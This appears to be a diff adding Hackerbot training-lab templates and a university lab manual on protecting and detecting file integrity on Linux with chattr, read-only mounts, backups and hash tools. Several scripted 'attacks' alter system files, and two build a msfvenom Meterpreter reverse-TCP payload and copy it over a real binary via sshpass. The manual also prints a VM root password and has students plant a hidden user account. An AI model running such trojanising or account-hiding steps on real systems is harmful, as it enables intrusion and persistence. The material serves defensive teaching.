+<% $log_file = $log_files.sample -%>
+
+ An attempt to delete /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack using file attributes.
+
+ rm --interactive=never /home/<%= $main_user %>/<%= $log_file %>; echo $?
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ Permission denied
+ :( You did protect the file, but not using file attributes.
+
+
+ 0
+ :( We managed to delete your file! You need to use file attributes to protect the file. Create a new file.
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+
+ <%= File.read TEMPLATES_PATH + 'file_attributes.md.erb' %>
+
+
+
+<% $log_file = $log_files.sample -%>
+
+ An attempt to overwrite /home/<%= $main_user %>/<%= $log_file %> is coming. Stop the attack by making the file append only.
+
+ echo 'your logs are gone!' > /home/<%= $main_user %>/<%= $log_file %>; echo 'damn!' >> /home/<%= $main_user %>/<%= $log_file %>; tail /home/<%= $main_user %>/<%= $log_file %>
+
+ damn!
+ :( You stopped anything from being appended to the file. What kind of log file do you think this is?
+
+
+ Operation not permitted
+ :) Well done! <%= $flags.pop %>
+ true
+
+
+ No such file or directory
+ :( The file should exist!
+
+
+ :( Something was not right...
+
+ <%= ERB.new(File.read TEMPLATES_PATH + 'ro_mounting.md.erb').result(self.get_binding) %>
+
+
+
+
+ An attempt to edit a file in /etc is coming. Stop the attack by bind mounting /etc/ as read-only.
+
+ touch /etc/you_were_hacked; adduser yourehacked
+
+ Read-only file system
+ :) Well done! <%= $flags.pop %>
+
+
+
+ Permission denied|Operation not permitted
+ :( You stopped the attack, but not by using read only bind mounting...
+
+
+ :( Something was not right...
+
+
+
+
+
+<% $random_user = SecureRandom.hex -%>
+
+ An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd.
+
+ sudo adduser hackerbot --gecos '<%= $random_user %>' --disabled-password --quiet; echo $?
+
+ 0
+ User added
+
+
+
+
+ already exists
+ :( Remove the user and try again.
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ Now after the attack, find the username added by diffing using a backup. What username was created?
+ ^<%= $random_user %>$
+ :) <%= $flags.pop %>
+
+
+
+<%= File.read TEMPLATES_PATH + 'detect_changes.md.erb' %>
+
+<%= File.read TEMPLATES_PATH + 'detect_changes_backups.md.erb' %>
+
+
+
+
+
+ An attempt to edit a config file is coming, let it happen. But first create a backup of the /etc/ directory to /tmp/etc-backup/.
+
+ echo '# <%= $flags.pop %>' >> `find /etc/ -name '*.sh' | sort -R | head -n 1`; echo $?
+
+ 0
+ A flag has been inserted into a random file... Use your backups to compare /etc/ to the backup to find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ Find the flag, what file was the flag stored in?
+ ^/etc/.*sh$
+ :) Well done
+
+
+
+
+
+
+
+ An attempt to edit a config file is coming, let it happen.
+
+ echo '# <%= $flags.pop %>' >> `find /tmp/etc-backup/ -name '*.sh' | sort -R | head -n 1`; echo $?
+
+ 0
+ A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We are trying to write to /tmp/etc-backup/
+
+
+ :( Something was not right... We are trying to write to /tmp/etc-backup/
+
+
+
+ Find the flag, what file was the flag stored in?
+ ^/etc-backup/.*sh$
+ :) <%= $flags.pop %>
+
+
+
+
+
+<% $random = SecureRandom.hex -%>
+
+
+ Creating a new file in /home/<%= $main_user %>/...
+
+ echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $?
+
+ 0
+ Created /home/<%= $main_user %>/something_secret
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the SHA1 hash of /home/<%= $main_user %>/something_secret?
+ ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$
+ :) <%= $flags.pop %>
+
+
+ <%= File.read TEMPLATES_PATH + 'fim.md.erb' %>
+
+
+
+
+
+ Going to edit one of your files in /etc/, use hash comparisons to detect which file changes
+ x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the file that changed?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+ <%= File.read TEMPLATES_PATH + 'fim_recursive.md.erb' %>
+
+
+
+
+
+ Going to create a new file in /etc/, use hash comparisons to detect which new file changes (hint: sha1deep, hashdeep, or shasum)
+ x=`find /etc/ -type d' | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX"
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+
+ Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file (hint: sha1deep, hashdeep, or shasum)
+ srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+
+ Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum)
+ mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo $mv1 $mv2
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+
+ Going to copy a new random file in /etc/ use hash comparisons to find the filename (hint: sha1deep, hashdeep, or shasum)
+ srcf=`find /etc/ -type f | sort -R | head -n 1`; cp $srcf $srcf.$RANDOM
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right... We are trying to write to /secrets/something_secret
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+
+ binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname
+
+ Going to replace a binary file in /bin/ or /usr/bin/ with malware, detect which file has changed (hint: sha1deep, hashdeep, or shasum)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ What is the file that was created?
+ {{shell_command_output_first_line}}
+ :) <%= $flags.pop %>
+
+
+ <%= File.read TEMPLATES_PATH + 'fim_package_management.md.erb' %>
+
+
+
+
+
+ binname=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; echo $binname; msfvenom -a -x86 --platform linux -p linux/x86/meterpreter_reverse_tcp --payload-options -f elf -o msfout; sshpass -p <%= $root_password %> scp -oStrictHostKeyChecking=no ./msfout root@{{chat_ip_address}}:$binname
+
+ Trojanising a file in /usr/bin/, use package management to detect which file changes
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ What is the file that was created?
+ {{shell_command_output_first_line}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md
new file mode 100644
index 000000000..6fa8301ef
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity.md
@@ -0,0 +1,959 @@
+# Integrity Management: Protecting Against and Detecting Change
+
+## Introduction
+
+These tasks can be completed on the openSUSE\_42.1 VM.
+
+This lab could be completed on most RPM-based Linux systems with these
+tools installed: rsync, md5sum, md5deep, Perl, ssh server (if working
+together).
+
+## Preparation
+
+If you are working on campus in the IMS labs using the oVirt online
+labs, [*click here for instructions on how to login on campus in the IMS
+labs and create VMs from
+templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing).
+
+If you are working remotely using the oVirt online labs, [*click here
+for instructions on how to login via VPN and create VMs from
+templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing).
+
+The oVirt system is a new online lab infrastructure hosted here at Leeds
+Beckett. This infrastructure is **currently on trial, as a pilot**.
+There is a good chance there will be some technical issues, and not
+every lab will be available via this system. However, if you are happy
+to benefit from this experiment, please keep in mind that you may need
+to fall back to one of the above methods.
+
+If you are working remotely having downloaded our VMs or by copying them
+when you were on campus, [*click here for instructions on how to
+download VMware Player and configure the VMs to run
+remotely*](https://drive.google.com/open?id=1mZSvF9Gc76mKQ5mW9Lsq2fWGIZd8-rE7RqmRXy1ICLY).
+
+If you are on campus using the IMS system, [*click here for instructions
+on how to use the IMS system and VM download
+scripts*](https://drive.google.com/open?id=1E03Q7cPrUEk_YZ8syvo-sk6FGv2SlJT1u9KwGOFWdFA).
+
+Start these VMs:
+
+- openSUSE\_42.1 (user: student password: student)
+
+ - Two copies if working alone (Hint: change the desktop background
+ > of one VM so that you can easily keep track of which VM you
+ > are working on)
+
+Note: The root password on the openSUSE\_Leap\_42.1-- **which should NOT
+be used to log in graphically** -- is “tiaspbiqe2r” (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember). Again, never log in to the desktop environment using the
+root account -- that is bad practice, and should always be avoided.
+
+Some of these exercises can be completed with a classmate (or simply
+using two VMs), and assumes root access is available to each other's
+systems via an ssh server.
+
+> *Distance learning students*: If you would like to work with someone
+> else from the course, please contact each other via the course Google
+> group and share IP addresses.
+
+**On openSUSE**:
+
+Install the required packages:
+
+> sudo zypper install rsync md5deep perl openssh
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and
+availability. Protecting the integrity of information involves
+preventing and detecting unauthorised changes. In many commercial
+organisations integrity of information is the highest priority security
+goal. Managing who is authorised to make changes to databases or files,
+and monitoring the integrity of resources for unauthorised changes is an
+important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system,
+involves successfully managing a variety of security mechanisms, such as
+authentication, access controls and file permissions, firewalls, and so
+on.
+
+> On Linux systems this can include managing passwords, packet filtering
+> IPTables rules, standard Unix file permissions (rwx), Linux extended
+> attributes (including ACLs for detailed authentication, labels for
+> mandatory access control (MAC), and Linux Capabilities). Linux (like
+> other Unix-like and Unix-based systems) has a long history of adding
+> new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very
+> important for protecting the integrity of files, but are beyond the
+> scope of this lab. Here the focus is on techniques that are *entirely*
+> focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of
+unauthorised changes.
+
+### Protecting integrity with file attributes
+
+Unix systems (such as Linux or FreeBSD) include file attributes that,
+amongst other features, can make files immutable or append only. Setting
+these file attributes can provide an effective layer of security, and
+yet could be considered one of the more obscure Unix security
+features[^1]. Note that this feature is dependent on the use of a
+compatible filesystem (most Unix filesystems, such as ext, are
+compatible with file attributes). Once configured, file attributes can
+even prevent root (the all-powerful Unix superuser) from making changes
+to certain files.
+
+Open a terminal console (such as Konsole from
+ KDEMenu → System → Konsole).
+
+Start by creating a file with some content. Run:
+
+``
+ sudo bash -c 'cat > /var/log/mylogfile'
+ ``
+>
+> (Type some content, then press Ctrl-D to finish and return to the
+> prompt.)
+
+Look at the details of the file:
+
+> ls -la /var/log/mylogfile
+>
+> -rw-r--r-- 1 root root 20 Feb 7 17:38 /var/log/mylogfile
+
+As we can see above, the file is owned by root, who has read-write
+access – exploring Unix file permissions further is outside the scope of
+this lab, but will be covered elsewhere.
+
+Run:
+
+> lsattr /var/log/mylogfile
+>
+> -------------e- /var/log/mylogfile
+
+The ‘e’ flag is common on ext filesystems, may or may not be present
+when you run the above, and does not really concern us. From a security
+perspective the ‘a’ and ‘i’ flags are the most interesting. Read the man
+page for chattr to find out more about these flags and what they do:
+
+> man chattr
+>
+> (Press q to leave the manual page)
+
+Set the ‘i’ flag using the chattr command:
+
+> sudo chattr +i /var/log/mylogfile
+
+Now try to delete the file and see what happens:
+
+> rm /var/log/mylogfile
+
+Denied! Opps, that’s right, root owns the file (since you created it
+with sudo)! Use root to try to delete the file:
+
+> sudo rm /var/log/mylogfile
+
+It still didn’t work! That’s right, even root can’t delete the file,
+without changing the file’s attributes back first.
+
+Use some commands to remove the ‘i’ flag (hint: “-i”, instead of “+i”).
+
+Now run a command to set the ‘a’ flag on /var/log/mylogfile.
+
+If you have done so correctly, attempting to overwrite the file with a
+test message should fail:
+
+> sudo bash -c 'echo "test message" > /var/log/mylogfile'
+>
+> This should produce an error, since ‘>’ causes the output of the
+> program to be written to the specified log file, which is not allowed
+> due to the chattr command you have run.
+
+Yet you should be able to append messages to the end of the file:
+
+> sudo bash -c 'echo "*your-name*: test message" **>>**
+> /var/log/mylogfile'
+>
+> This should succeed, since ‘>>’ causes the output of the program
+> to be appended (added to the end of) to the specified log file, which
+> is allowed. Use your name above, for example “echo "Cliffe: test
+> message" >> /var/log/mylogfile”.
+
+View your changes at the end of the file:
+
+> tail /var/log/mylogfile
+
+This has obvious security benefits, this feature can be used to allow
+files to be written to without altering existing content. For example,
+for ensuring that log files can be written to, but avoiding giving
+everyone who can write to the file the ability to alter its contents.
+
+
+### Protecting integrity with read-only filesystems
+
+On Unix, a filesystem is mounted to a particular point in the directory
+structure; for example, a USB thumb drive may be mounted to
+/media/myUSB/. Some filesystems will automatically mount read-only; for
+example, if you insert a CD-ROM, since those disks are physically
+read-only. It is possible to optionally mount almost any filesystem,
+such as a USB or even a directory, in read-only mode, which will make it
+practically impossible to write changes to it (without remounting or
+accessing the drive/directory in other ways, which normally only root
+can do).
+
+> In a command prompt, run:
+>
+> mount
+>
+> Note that many of the devices and directories have been mounted for
+> read and write access (**rw**). For security reasons, it can be safer
+> to mount things as read-only, when we don’t need to be able to make
+> changes to the contents.
+>
+> Ordinary users can only read the /etc directory but the superuser root
+> who owns the /etc directory can read and write to it. In the following
+> example, you are going to mount the /etc directory to a mount point
+> (another directory within the filesystem) and the contents of the /etc
+> directory will be accessible via the mount point.
+>
+> List the contents of the /etc directory so you are familiar with its
+> contents:
+>
+> ls /etc
+>
+> Create a new directory to be the mount point:
+>
+> mkdir /home/student/test
+>
+> Mount the /etc directory to the new mount point:
+>
+> sudo mount -o bind /etc /home/student/test
+>
+> Make sure the /etc directory is accessible via the test directory
+> mount point:
+>
+> ls /home/student/test
+>
+> Ordinary users can only read but the superuser root can still write to
+> the directory. Test this by creating a new file as the superuser root
+> in the /home/student/test directory:
+>
+> sudo touch /home/student/test/file1
+>
+> Check that a new file has been created using the following commands
+>
+> ls -l /home/student/test/fi\*
+>
+> ls -l /etc/fi\*
+>
+> We can use this techniques to make filesystems and directories
+> read-only. In the next example you will remount the etc in read-only
+> mode so that even the superuser root who owns the /etc directory
+> cannot make changes to its contents via the mount point.
+>
+> sudo mount -o remount,ro,bind /etc /home/student/test
+>
+> Test this by trying creating a new file as the superuser root in the
+> /home/student/test directory:
+>
+> sudo touch /home/student/test/file2
+>
+> This should prevent changes being accidently being made to important
+> configuration files in the /etc directory.
+>
+> Remount the the /etc directory as read-only to itself:
+>
+> sudo mount -o remount,ro,bind /etc /etc
+
+Mounting read-only can be an effective way of protecting resources that
+you don’t need to make any changes to. Read-only mounting is
+particularly effective when an actual disk resides externally, and can
+be enforced remotely. For example, when sharing files over the network.
+
+Note that mounting read-only may be circumvented by root (or a user with
+enough privilege) via direct access to the device files (/dev/sdc1 in
+the example above), or by re-mounting as read-write.
+
+Aside: in new versions of Linux, it is also possible to have a directory
+(one part of what is on a disk) present in the directory structure twice
+with different mount options (for example, /home/cliffe and
+/home/cliffe-read-only). This can be achieved by bind mounting, and then
+remounting to set the bind mount to read only. More information:
+[*http://lwn.net/Articles/281157/*](http://lwn.net/Articles/281157/)
+
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest
+defenses can fail, and when they do we want to know about it! In order
+to respond to a security incident we need to detect that one has
+occurred. One way we do so, is to detect changes to files on our system.
+
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the
+system or resources in a clean state. One advantage of this approach is
+that we cannot only detect that files have changed, but also see exactly
+how they differ.
+
+You can (and, if possible, should) **conduct this exercise with a
+classmate**.
+
+Make a backup of your /etc/passwd file:
+
+> cp /etc/passwd /tmp/passwd\_backup
+
+This file (/etc/passwd) is an important file on Unix systems, which
+lists the user accounts on the system. Although historically the hashes
+of passwords were once stored here, they are now typically stored in
+/etc/shadow. Changes to the /etc/passwd file are usually infrequent –
+such as when new user accounts are created – and changes should only be
+made for authorised purposes.
+
+At this point, also make sure you have a backup of any work.
+
+If you are working with a classmate or using two VMs, once you (and your
+classmate or on the other VM) have saved a backup copy of your own
+passwd file using the above command, then connect to your classmate’s
+computer (other VM) using ssh:
+
+> Set your root password to a password you will share with your
+> classmate:
+>
+> sudo passwd
+>
+> Enable your SSH server:
+>
+> sudo /sbin/service sshd start
+>
+> Open port 22 for ssh access to your computer
+>
+> Click KDEMenu → System → Yast
+>
+> Click Firewall in the Security and Users section
+>
+> Click “Allowed Services”
+>
+> Choose “Secure Shell Server” from the “Service to Allow” drop down
+> list
+>
+> Click Add to add ssh to the list of allowed services.
+>
+> Click Next → Finish and close Yast
+>
+> Find your IP address using ifconfig, and tell your classmate your IP
+> address and root password.
+>
+> ssh *their-ip-address*
+>
+> (Where *their-ip-address* is as noted earlier.) You will be prompted
+> for student account password.
+>
+> Switch to the root user (you will be prompted for the root password):
+>
+> su -
+>
+> If you do not know each other’s root password, then feel free to log
+> each other in on an ssh session as root.
+
+Now that you have root access to their system[^2], add a new user to
+their computer... Your aim is to make the new account hard to notice. If
+you are working alone, just do this on your own system:
+
+> useradd *new-username*
+>
+> Where new-username, is some new name. Don’t tell your classmate the
+> name of the account you have created. You may want to create a
+> username that looks innocent.
+
+To make things even more interesting, edit the /etc/passwd file and move
+the new user account line somewhere other than right at the bottom, so
+that it is less obvious:
+
+> vi /etc/passwd
+>
+> Move the cursor onto the line representing your new account (probably
+> at the bottom).
+>
+> In vi type:
+>
+> :m *-number*
+>
+> Where number is the number of lines to move up, for example: “:m -20”
+> will move the currently selected line up 20 lines, “hiding” the new
+> user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Now exit ssh:
+
+> exit
+
+If you are working with a together, look at the changes your classmate
+made on your computer, and try to spot the new user account:
+
+> less /etc/passwd
+>
+> (q to exit)
+
+It’s not as easy as it sounds, especially if your system has lots of
+user accounts.
+
+Since you have a backup of your passwd file, you can compare the backup
+with the current passwd file to determine it has been modified. One such
+tool for determining changes is diff. Diff is a standard Unix command.
+Run:
+
+> diff -q /tmp/passwd\_backup /etc/passwd
+
+Diff should report that the two files differ. Diff can also produce an
+easy to read description of exactly how the file has changed. This is a
+popular format used by programmers for sharing changes to source code:
+
+> diff -u /tmp/passwd\_backup /etc/passwd
+
+There are many advantages to the comparison of backups approach to
+detecting changes, but it also has its limitations. To apply this
+approach to an entire system, you will need a fairly large amount of
+either local or network shared storage, and writes need to be controlled
+to protect the backups, yet written to whenever authorised changes are
+made to keep the backup up-to-date. Also, when the comparisons are made
+substantial disk/network access is involved, since both both sources
+need to be read at the same time in order to do the comparison.
+
+In the example above, the backup was stored on the same computer. Did
+you think of editing your classmates backup passwd file? This is related
+to a major issue when checking for changes to the system: if your system
+has been compromised, then you can’t necessarily trust any of the local
+software or files, since they may have been replaced or modified by an
+attacker. For that reason, it can be safer to run software (such as
+diff) from a separate read-only storage. Yet that still may not be
+enough, the entire operating system could be infected by a rootkit.
+
+Aside: Filesystems, such as btrfs, that support history and snapshots
+can also be helpful for investigating breaches in integrity.
+
+### Detecting changes to resources using hashes and file integrity checkers
+
+Another technique for detecting modifications to files is to use hashes
+of files in their known good state. Rather than storing and comparing
+complete copies, a one way hash function can be used to produce a fixed
+length hash (or “digest”), which can be used for later comparisons.
+Hashes have security properties that enable this use:
+
+- Each hash is unique to the input
+
+- It is extremely difficult (practically impossible) to find another
+ > input that produces the same hash output
+
+- Any change to the input (no matter how minor) changes the output
+ > hash dramatically
+
+We can store a hash and later recompute the hash, to determine whether
+the file has changed (if the hash is different), or it is exactly the
+same (if the hash is the same). If you have studied digital forensics,
+many of these concepts will be familiar to you, since hashes are also
+commonly used for verifying the integrity of digital evidence.
+
+Generate an MD5 hash of your backup password file, which you copied
+above:
+
+> md5sum /tmp/passwd\_backup
+
+Now calculate a hash of your current passwd file:
+
+> md5sum /etc/passwd
+
+If the generated hashes are different, you know the files do not have
+exactly the same content.
+
+Note that using hashes, there is no need to have the backup on-hand in
+order to check the integrity of files, you can just compare a newly
+generated hash to a previous one.
+
+Repeat the above two commands using shasum rather than md5sum. SHA1 and
+SHA2 are considered to be more secure than the “cryptographically
+broken” MD5 algorithm. Although MD5 is still in use today, it is safer
+to use a stronger hash algorithm, since MD5 is not collision-resistant,
+meaning it is possible to find multiple files that result in the same
+hash. SHA1 is considered partially broken, so a new algorithm such as
+SHA2 is currently a good option. There are a number of related commands
+for generating hashes, named md5sum, shasum, sha224sum, sha256sum, and
+so on. These commands (as well as those in the next section) are readily
+available on most Unix systems, and are also available for Windows.
+
+#### File integrity checkers
+
+A file integrity checker is a program that compares files to previously
+generated hashes. A number of these kinds of tools exist, and these can
+be considered a form of host-based intrusion detection system (HIDS),
+particularly if the checking happens automatically. One of the most well
+known integrity checkers is Tripwire, which was previously released open
+source; although, new versions are closed source and maintained by
+Tripwire, Inc, with a more holistic enterprise ICT change management
+focus. There are other tools similar to Tripwire, such as AIDE (Advanced
+Intrusion Detection Environment), and OSSEC (Open Source Host-based
+Intrusion Detection System).
+
+The above md5sum, shasum (and so on) programs can also be used to check
+a list of file hashes.
+
+Create an empty file, where *your-name*, is your actual name:
+
+> touch *your-name*
+
+Run the following to generate a file containing hashes of files we can
+later check against:
+
+> shasum *your-name* >> /tmp/hash.sha
+>
+> shasum /etc/passwd >> /tmp/hash.sha
+>
+> sudo shasum /etc/shadow >> /tmp/hash.sha
+>
+> shasum /bin/bash >> /tmp/hash.sha
+>
+> shasum /bin/ls >> /tmp/hash.sha
+
+Look at the contents of our new hashes file (Q to quit when done):
+
+> less /tmp/hash.sha
+
+Now use your new hash list to check that nothing has changed since we
+generated the hashes:
+
+> shasum -c /tmp/hash.sha
+
+Why does shasum fail to check the integrity of the shadow file?
+
+Make a change to our empty “*your-name*” file:
+
+> echo "hello" > *your-name*
+
+Check whether anything has changed since we generated hashes:
+
+> shasum -c /tmp/hash.sha
+
+You should see a nice explanation of the files that have changed since
+generating the hashes.
+
+#### Scripted integrity checking
+
+The above can also be accomplished via a simple script (in this case a
+Perl script):
+
+ #!/usr/bin/perl
+
+ # Copyleft 2012, Z. Cliffe Schreuders
+
+ # Licenced under the terms of the GPLv3
+
+ use warnings;
+
+ use strict;
+
+ my %files\_hashes = (
+
+ "/bin/ls"=>"9304c5cba4e2a7dc25c2d56a6da6522e929eb848",
+
+ "/bin/bash"=>"54d0d9610e49a654843497c19f6211b3ae41b7c0",
+
+ "/etc/passwd"=>"69773dcef97bca8f689c5bc00e9335f7dd3d9e08"
+
+ );
+
+ foreach my \$file\_entry (keys %files\_hashes) {
+
+ my \$hash = \`sha1sum \$file\_entry|awk '{print \\\$1}'|head -n1\`;
+
+ chomp(\$hash);
+
+ if(\$hash ne \$files\_hashes{\$file\_entry}){
+
+ warn "FILE CHANGED: \$file\_entry (hash was \$hash, expected
+ \$files\_hashes{\$file\_entry})\\n";
+
+ } else {
+
+ print "File unmodified: \$file\_entry (hash was \$hash, as
+ expected)\\n";
+
+ }
+
+ }
+
+This script simply iterates over a list of file paths with SHA1 hashes
+(stored in an associative array), and runs sha1sum for each one to check
+whether the files are still the same.
+
+Save the script as checker.pl (Help: you may wish to install the default
+KDE GUI text editor Kate, if it is not already installed under the
+Utlities menu. You should be able to copy the script and paste it into
+Kate to save it as checker.pl. Kate can be installed using the following
+command: “sudo zypper install kate”)
+
+Then run the script with:
+
+> perl checker.pl
+
+Are the files reported as unmodified, or have they changed? Why might
+they be different to when I wrote the script?
+
+##### Recursive file integrity checkers
+
+The md5deep program (also known as sha1deep, sha256deep, and so on for
+different hash algorithms) can recursively walk through directories (and
+into all contained subdirectories) to generate and check lists of
+hashes.
+
+Run:
+
+> sudo sha1deep -r /etc
+>
+> If the md5deep command is not available, install it:
+>
+> On openSUSE this can be done by first running “cnf sha1deep”, to find
+> the name of the package containing the program, then run the install
+> command it gives you, such as “sudo zypper install md5deep”.
+>
+> If you get “PackageKit is blocking zypper”, then select “no”, and kill
+> PackageKit, by running “kill -9 *pid*”, where *pid* is the number
+> reported by the previous command. Now run the above again.
+>
+> If the zypper command is stuck on refreshing a repository, then press
+> “Ctrl-C”, “a” (for abort), then proceed with the installation as per
+> normal.
+>
+> Once the required software is installed, try the sha1deep command
+> again.
+
+The output of the above command will include hashes of every file in
+/etc, which is where system-wide configuration files are stored on Unix.
+
+Read the sha1deep manual to understand the above command:
+
+> man sha1deep
+>
+> Figure out what the -r flag does.
+>
+> (Q to quit)
+
+We can save (redirect) this output to a file so that we have a record of
+the current state of our system’s configuration:
+
+> sudo sha1deep -r /etc > /tmp/etc\_hashes
+
+This may take a minute or so, while the program calculates the hashes
+and sends them to standard out (known as stdout), which is then
+redirected to the etc\_hashes file.
+
+Next, let's compare the size of our list of hashes, with the actual
+content that we have hashed...
+
+See how big our list of hashes is:
+
+> ls -hs /tmp/etc\_hashes
+>
+> (-h = human readable, -s = size)
+
+This is likely to be in the Kilobytes.
+
+And for the size of all of the files in /etc:
+
+> sudo du -hs /etc
+>
+> (-h = human readable, -s summarise)
+
+This is likely in the Megabytes (or maybe even Gigabytes).
+
+Clearly, the list of hashes is much smaller.
+
+If you are **working with a classmate**, log into their system using ssh
+(as done previously). If you are working alone, simply run all the
+commands on your own system.
+
+Create a new file somewhere in /etc/, containing your name. Name the
+file whatever you like (for example /etc/test), although the more
+inconspicuous the better.
+
+> Hint: “sudo vi /etc/test”, “i” to enter insert mode, and after typing
+> your name, “Esc”, “:wq”.
+
+Also, change an existing file in /etc on their system, but please do be
+careful to only make a minor change that will **not cause damage to
+their system**. For example, you could use vi to edit /etc/hostname
+(“sudo vi /etc/hostname”), and add a comment to the file such as
+“\#your-name: bet you can’t find this comment!”
+
+You can now “exit” the ssh session.
+
+**On your own system**, lets try to identify what the “attacker” has
+done to our system...
+
+Now that we have a list of hashes of our files, use shasum to check if
+anything has changed using our newly generated list of hashes
+(/tmp/etc\_hashes).
+
+> Hint: look at the previous command using shasum to check hashes.
+
+Does this detect our the changed file AND the new file? Why not?
+
+Md5deep/sha1deep takes a different approach to checking integrity, by
+checking all of the files it is told to check (possibly recursing over
+all files in a directory) against a list of hashes, and reporting
+whether any files it checked did not (or did, depending on the flags
+used) have its hash somewhere in the hash list.
+
+Run sha1deep to check whether any files in /etc/ do not match a hash
+previously generated:
+
+> sudo sha1deep -X /tmp/etc\_hashes -r /etc
+
+This should detect both modified files, both new and modified.
+
+But would sha1deep detect a copy of an existing file, to a new location?
+
+Try it:
+
+> sudo cp /etc/passwd /etc/passwd.backup
+
+Now rerun the previous sha1deep command. Was the copy detected? Why not?
+
+What about copying one file over another? Which out of shasum or
+sha1deep would detect that?
+
+Another tool, hashdeep, which is included with md5deep, provides more
+coverage when it comes to detecting files that have moved, changed, or
+created.
+
+Generate a hash list for /etc using hashdeep:
+
+> sudo hashdeep -r /etc > /tmp/etc\_hashdeep\_hashes
+
+Hashdeep stores hashes in a different format than the previous tools.
+Have a look:
+
+> less /tmp/etc\_hashdeep\_hashes
+>
+> (q to quit)
+>
+> Note that the output includes some more information, such as the file
+> size for each file.
+
+Delete the new file that your “attacker” (the person who sshed into your
+system) created earlier:
+
+> sudo rm /etc/*whatever-the-filename-was*
+
+Conduct a hashdeep audit to detect any changes:
+
+> sudo hashdeep -r -a -k /tmp/etc\_hashdeep\_hashes /etc
+>
+> Note, that this can take a while, so feel free to start working
+> through the next section in another terminal, if you like.
+
+After, run it again, this time asking for more details, since the
+default message does not provide any information as to why an audit has
+failed:
+
+> sudo hashdeep -ra**vv** -k /tmp/etc\_hashdeep\_hashes /etc
+
+Consult the man page for information about what each of the above flags
+do.
+
+#### Detecting changes to resources using package management
+
